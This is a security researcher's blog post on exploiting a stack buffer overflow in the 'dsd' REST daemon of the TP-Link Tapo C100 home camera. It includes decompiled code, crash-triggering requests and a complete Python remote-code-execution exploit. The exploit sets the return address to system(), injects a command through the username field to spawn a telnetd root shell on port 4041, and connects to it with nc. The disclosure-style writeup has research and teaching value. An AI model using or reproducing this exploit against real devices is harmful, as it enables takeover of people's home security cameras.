Exploiting n-day in Home Security Camera
Note: This blogpost was written in November 2023, but I was waiting for the TP Link Security Team to release a fix so now it’s published(Jan 2024).
Hello world! and happy new year. It’s been a long time since I last posted here. I decided to take a new challenge, to do something I wanted to do since I was 15 years old(!) enthusiastic kid watching this Black Hat talk: hacking a Security Camera. 10 years later, I think it’s my turn now hehe
In this blogpost, I’ll share my journey of targeting the TP-Link Tapo C100 Home Security Camera. From extracting the firmware to spotting an n-day and writing a full RCE exploit.
Extracting the firmware
To get an initial foothold on the device, I soldered some cables to the UART pins of the device in hopes that I will get a bash shell.
My plan was to try a known technique used in other models of this camera: inserting an SD Card to the camera → copy /dev/mtdblock*
files to the card → plug it to my laptop → run binwalk on it.
However, for some reason the camera did not manage to detect the SD Card ;_; so what I did was:
- Dumping the whole contents of the
/dev/mtdblock*
files withxxd
(or,hexdump
) - Save all the UART output to a txt file
- Decode it back from hexdump to raw bytes
Yes, I dumped the whole firmware via UART, and it was so slow :‘) But desperate times call for desperate measures.
Intro to the “dsd” binary
The dsd binary, located at /usr/bin/dsd
is one of the main components of the REST API the camera is exposing to the client.
Basically, the uhttpd
binary is using a local unix socket to send the user input to the dsd
binary, perform the necessary action(change the camera settings, etc.) and return a response.
Spotting the bug
The bug exists in the check_user_info
request handler.
The request:
{"user_management":{"check_user_info":{"username":"aaaa","password":"bbbb","encrypt_type":"2"}}, "method":"do"}
The handler:
undefined4 FUN_004288a4(int param_1,int param_2)
{
int iVar1;
char *__s;
char *__s1;
int iVar2;
char *pcVar3;
size_t sVar4;
size_t sVar5;
undefined4 uVar6;
char acStack_80 [64];
undefined4 local_40;
undefined4 local_3c;
undefined4 local_38;
undefined4 local_34;
int local_30;
memset(acStack_80,0,0x40);
local_40 = 0;
local_3c = 0;
local_38 = 0;
local_34 = 0;
if ((((param_1 == 0) || (param_2 == 0)) || (iVar1 = jso_is_obj(param_2), iVar1 == 0)) ||
((iVar1 = jso_obj_get_string_origin(param_2,"username"), iVar1 == 0 ||
(__s = (char *)jso_obj_get_string_origin(param_2,"password"), __s == (char *)0x0)))) {
uVar6 = 0xffff146f;
}
else {
__s1 = (char *)jso_obj_get_string_origin(param_2,"encrypt_type");
if (__s1 == (char *)0x0) {
__s1 = "1";
}
printf("\t [dsd] %s(%d): ","check_user_info",0x59b);
printf("encrypt_type:%s.",__s1);
putchar(10);
iVar2 = strcmp(__s1,"2");
if (iVar2 == 0) {
pcVar3 = (char *)FUN_0040e304(); // [1]
sVar4 = strlen(__s);
sVar5 = strlen(pcVar3);
pcVar3 = (char *)private_decrypt(__s,sVar4,pcVar3,sVar5); // [2]
printf("\t [dsd] %s(%d): ","check_user_info",0x5a1);
printf("plaintext:%s.",pcVar3);
putchar(10);
if (pcVar3 != (char *)0x0) {
local_30 = sscanf(pcVar3,"%[^:]:%[^:]",acStack_80,&local_40); // [3]
printf("\t [dsd] %s(%d): ","check_user_info",0x5a5);
printf("hashPswd(%s) rsa_nonce(%s).",acStack_80,&local_40);
putchar(10);
if (local_30 == 2) {
__s = acStack_80;
}
free(pcVar3);
}
}
iVar2 = FUN_0040d1a0(param_1);
if (iVar2 == 0) {
iVar1 = FUN_0040d510(param_1,iVar1,__s);
if (iVar1 == 0) {
uVar6 = 0xffff622f;
}
else {
iVar1 = strcmp(__s1,"2");
uVar6 = 0;
if ((iVar1 == 0) && (iVar1 = FUN_0040e15c(&local_40), iVar1 < 0)) {
uVar6 = 0xffff6227;
}
}
}
else {
uVar6 = 0xffff6229;
}
}
return uVar6;
}
At [1]
, the RSA key is fetched and stored in pcVar3
. Later, the user input is being decrypted at [2]
.
After decrypting the user input, the function uses sscanf
to split the plaintext into two variables seperated with a :
character(i.e: AAAA:BBBB
).
The bug lays in the fact that private_decrypt
(in libdecrypter.so
) can decrypt up to 0x80 bytes:
void * private_decrypt(int param_1,int param_2,undefined4 param_3)
{
int iVar1;
BIO *bp;
RSA *rsa;
size_t __n;
undefined4 uVar2;
void *__dest;
undefined auStack_918 [2048];
uchar auStack_118 [128];
uchar auStack_98 [120];
int local_20 [3];
/* ... more code ... */
rsa = PEM_read_bio_RSAPrivateKey(bp,(RSA **)0x0,(undefined1 *)0x0,(void *)0x0);
if (rsa == (RSA *)0x0) {
/* ... more code ... */
}
local_20[0] = 0x80;
/* ... more code ... */
else {
__n = RSA_private_decrypt(local_20[0],auStack_118,auStack_98,rsa,1);
if ((int)__n < 0) {
uVar2 = 0x1abc;
goto LAB_00011588;
}
/* ... more code ... */
__dest = calloc(0x75,1);
if (__dest == (void *)0x0) {
msglog(6,0x1a40,0x1b6c);
}
else {
memcpy(__dest,auStack_98,__n);
*(undefined *)((int)__dest + __n) = 0;
}
}
RSA_free(rsa);
LAB_0001160c:
BIO_free_all(bp);
return __dest;
}
This can trigger a buffer overflow since the buffer size in libdecrypter.so
can hold up to 128 bytes, but the stack buffer in the dsd
binary can hold much less than that(we only need 60 bytes from the beginning of the buffer to reach the return address)
After doing some more googling of strings/constants I saw in the binary, I discovered that this bug was found in another model back in 2020: TL-IPC43AN-4(discovered by CataLpa) and was not fixed in my camera model(C100). His camera was a bit different: he had Web UI(we have access only Mobile App/API) and his camera was running ARM binaries(ours is MIPS) but it looks like these cameras were sharing the same dsd
component/daemon. Moreover, I couldn’t find any other documentation of this bug(or exploit) so I guessed it might be one of those useless crashes that are not exploitable.
I decided to give it a shot anyway, with hope that maybe I’ll be the one who’ll write a full exploit for it.
So without further ado, let’s trigger the bug and examine the crash.
Triggering the bug
To trigger the bug, the following sequence of POST requests needs to sent to /stok=<YOUR_SID>/ds
:
Request 1: Get the encryption key:
{
"user_management":{
"get_encrypt_info": {}
},
"method":"do"
}
Request #2: Encrypt the following payload with the key from the previous step:
QQQ:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC
Ciphertext:
pcV7TYekRREp49SYKlCbx2NU1+3A+y8y4a2VL4hPCvqZXATsU7DicFsauJWLEw/OB0uGe2ZcHrCzXTqhk0JoDXY6Rfv/IbWeOtqOMQkDh4e0VWCk0rEAo63KuaSdnRAneWOR5j1c0ig54gFoBblJ4kHz4a4OphX6kUJce0aDQRk=
Request #3: Send the encrypted result in the following manner:
{
"user_management":{
"check_user_info":{
"username":"HelloWorld",
"password":"ENCRYPTED_PAYLOAD_GOES_HERE",
"encrypt_type":"2"
}
},
"method":"do"
}
Result:
Continuing.
[dsd] check_user_info(1293): encrypt_type:2.
[dsd] check_user_info(1299): plaintext:QQQ:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC.
[dsd] check_user_info(1303): hashPswd(QQQ) rsa_nonce(AAAAAAAAAAAAAAAA).
Thread 2 "dsd" received signal SIGBUS, Bus error.
[Switching to LWP 825]
0x42424242 in ?? ()
Nice :D
Exploiting the bug
Triggering a bug is one thing, exploiting it…well, that’s a whole engineering adventure.
Considering that fact that I have no experience with MIPS I found this very intimidating, but I’m always ready for a new challenge.
Exploiting this overflow can be trickey, because even though we can corrupt memory - we can’t enter a nullbyte(the %[^:]
format specifier in the call to scanf()
will stop after a nullbyte). So we can’t enter more than one address in order to craft a ROP/JOP chain on the stack. It requires us to find the perfect gadget: a gadget that will magically jump to system AND place an arbitrary string into the first argument.
After doing some more analysis, I found out that this primitive is ridiculously powerful and does not require any ROP/JOP chain. Because not only we control the ra
register(which allows us to take control over the program’s execution) - THE VALUE OF THE a0
REGISTER POINTS TO A STRING FROM OUR HTTP REQUEST lol(the username
field). So in other words: we don’t need to find the perfect gadget, it’s already there in our crash.
0x42424242 in ?? ()
(gdb) i r
zero at v0 v1 a0 a1 a2 a3
R0 00000000 10001c00 ffff622f 00000000 004ab739 00432685 00000000 7796bdb0
t0 t1 t2 t3 t4 t5 t6 t7
R8 00000000 00000000 31454630 32463132 39464233 46344443 46334442 00450000
s0 s1 s2 s3 s4 s5 s6 s7
R16 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
t8 t9 k0 k1 gp sp s8 ra
R24 0044c930 779bb600 00000001 00000000 77bfd4c0 7796bef0 41414141 42424242
status lo hi badvaddr cause pc
00001c13 0d713e0e 00000008 42424242 40808010 42424242
fcsr fir restart
001c0004 00b70000 00000000
(gdb) x/s $a0
0x4ab739: "elloWorld"
To exploit this bug all you need to do is craft the following request:
{
"user_management":{
"check_user_info":{
"username":"//bin/echo 1337-1337-1337","
password":"encrypted large buffer that will overflow",
"encrypt_type":"2"
}
},
"method":"do"
}
We don’t need another vulnerability to break ASLR because the binary was compiled without PIE, so all we need is jump straight to system@plt
.
The full exploit is below, tested on firmware version 1.3.7:
#!/usr/bin/env python3
import requests
import urllib
from Crypto import Random
from Crypto.Hash import SHA
from Crypto.Cipher import PKCS1_v1_5 as Cipher_pkcs1_v1_5
from Crypto.Signature import PKCS1_v1_5 as Signature_pkcs1_v1_5
from Crypto.PublicKey import RSA
import base64
import pwn
import os
import ssl
from requests.adapters import HTTPAdapter
import urllib3
from urllib3.util import ssl_
from urllib3.poolmanager import PoolManager
# ==== [ignore this part, setup related class] ====
CIPHERS = "AES256-SHA"
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class TlsAdapter(HTTPAdapter):
def __init__(self, ssl_options=0, **kwargs):
self.ssl_options = ssl_options
super(TlsAdapter, self).__init__(**kwargs)
def init_poolmanager(self, connections, maxsize, **pool_kwargs):
ctx = ssl_.create_urllib3_context(
ciphers=CIPHERS, cert_reqs=ssl.CERT_OPTIONAL, options=self.ssl_options
)
self.poolmanager = PoolManager(
num_pools=connections, maxsize=maxsize, ssl_context=ctx, **pool_kwargs
)
# ==== [/ignore this part, setup related class] ====
# ====================================
# EXPLOIT STARTS HERE
# ====================================
# Tested on Tapo C100 firmware version 1.3.7
IP = '10.0.0.57' # device IP goes here
HASHED_PWD = '' # hashed password goes here
SYSTEM_PLT = 0x43c930 # address of system()
def send_req(ip, req_body, route='/'):
sess = requests.session()
sess.mount('https://', TlsAdapter())
resp = sess.post(f'https://{ip}{route}', headers={'User-Agent': 'Tapo CameraClient Android'} ,json=req_body, verify=False, timeout=2)
sess.close()
return resp
def get_stok(ip, password):
req_body = {"method":"login","params":{"hashed":True,"password":password,"username":"admin"}}
resp = send_req(ip, req_body)
if resp.status_code == 200:
resp = resp.json()
return resp['result']['stok']
else:
raise Exception('cannot get stok!')
def rsa_encrypt(key, p):
rsakey = RSA.importKey(key)
cipher = Cipher_pkcs1_v1_5.new(rsakey)
cipher_text = base64.b64encode(cipher.encrypt(p))
return cipher_text
def get_public_key(ip, stok):
req_body = {"user_management":{"get_encrypt_info":{}},"method":"do"}
resp = send_req(ip, req_body, route=f'/stok={stok}/ds')
if resp.status_code == 200:
resp = resp.json()
return resp['key']
else:
raise Exception('Login failed!')
def exploit(target_host, stok):
print('[*] Preparing payload...')
public_key = "-----BEGIN PUBLIC KEY-----\n" + get_public_key(target_host, stok) + "\n-----END PUBLIC KEY-----"
payload = b"BBB:" + b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaa'
payload = payload.replace(b'paaa', pwn.p32(SYSTEM_PLT))
password = rsa_encrypt(public_key, payload)
cmd = '//usr/sbin/telnetd -l /bin/sh -p 4041 & '
req_body = {"user_management":{"check_user_info":{"username":cmd,"password":password.decode(),"encrypt_type":"2"}},"method":"do"}
try:
print('[*] popping a shell :^)')
resp = send_req(target_host, req_body, route=f'/stok={stok}/ds')
except Exception as e:
print('[*] bof triggered successfully')
pass
print('[*] Connecting to the target device')
os.system(f'nc {target_host} 4041')
# main
print(f'[*] Attacking {IP}')
stok_val = get_stok(IP, HASHED_PWD)
exploit(IP, stok_val)
https://twitter.com/0x_shaq/status/1723384686569836640
Thanks for reading, I hope you enjoyed :^)